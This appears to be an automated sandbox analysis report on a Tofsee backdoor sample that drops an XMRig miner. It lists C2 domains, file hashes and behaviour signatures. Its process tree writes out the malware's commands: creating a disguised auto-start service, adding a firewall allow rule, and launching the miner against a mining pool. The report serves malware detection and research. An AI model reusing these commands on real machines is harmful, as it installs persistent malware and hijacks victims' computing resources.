Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/12/2022, 06:39

General

  • Target
    file.exe
  • Size 306KB
  • Sample221219-hel4mshd7v
  • SHA256 7694b8523e7c63e48fcf3f8d6e8cbbe2cd540dc531d96567b5a64adc4f0d5bd8
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4512
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\robtanpp\
      2⤵
        PID:4324
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lrjydwn.exe" C:\Windows\SysWOW64\robtanpp\
        2⤵
          PID:4028
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create robtanpp binPath= "C:\Windows\SysWOW64\robtanpp\lrjydwn.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2664
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description robtanpp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1832
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start robtanpp
          2⤵
          • Launches sc.exe
          PID:4748
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1732
      • C:\Windows\SysWOW64\robtanpp\lrjydwn.exe
        C:\Windows\SysWOW64\robtanpp\lrjydwn.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:332
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3440
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5096

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            lrjydwn.exe

            • Path C:\Users\Admin\AppData\Local\Temp\lrjydwn.exe
            • Size 12.2MB
            • SHA256 7e3d43c6451a64bef5f37c2a07b82767281781386e887609e0baed172a56962e
            • MD5 SHA1 SHA512 SSDEEP

            lrjydwn.exe

            • Path C:\Windows\SysWOW64\robtanpp\lrjydwn.exe
            • Size 12.2MB
            • SHA256 7e3d43c6451a64bef5f37c2a07b82767281781386e887609e0baed172a56962e
            • MD5 SHA1 SHA512 SSDEEP

            memory/332-179-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/332-153-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/332-151-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/332-150-0x0000000000724000-0x0000000000739000-memory.dmp

            memory/3440-147-0x00000000012A0000-0x00000000012B5000-memory.dmp

            memory/3440-157-0x00000000025D0000-0x00000000025D6000-memory.dmp

            memory/3440-169-0x00000000033D0000-0x00000000033D7000-memory.dmp

            memory/3440-166-0x0000000007E40000-0x000000000824B000-memory.dmp

            memory/3440-163-0x00000000025F0000-0x00000000025F5000-memory.dmp

            memory/3440-152-0x00000000012A0000-0x00000000012B5000-memory.dmp

            memory/3440-160-0x00000000025E0000-0x00000000025F0000-memory.dmp

            memory/3440-154-0x0000000002E00000-0x000000000300F000-memory.dmp

            memory/4512-133-0x0000000000460000-0x0000000000560000-memory.dmp

            memory/4512-135-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/4512-145-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/4512-144-0x0000000000460000-0x0000000000560000-memory.dmp

            memory/4512-134-0x0000000002050000-0x0000000002063000-memory.dmp

            memory/5096-173-0x0000000000D80000-0x0000000000E71000-memory.dmp

            memory/5096-178-0x0000000000D80000-0x0000000000E71000-memory.dmp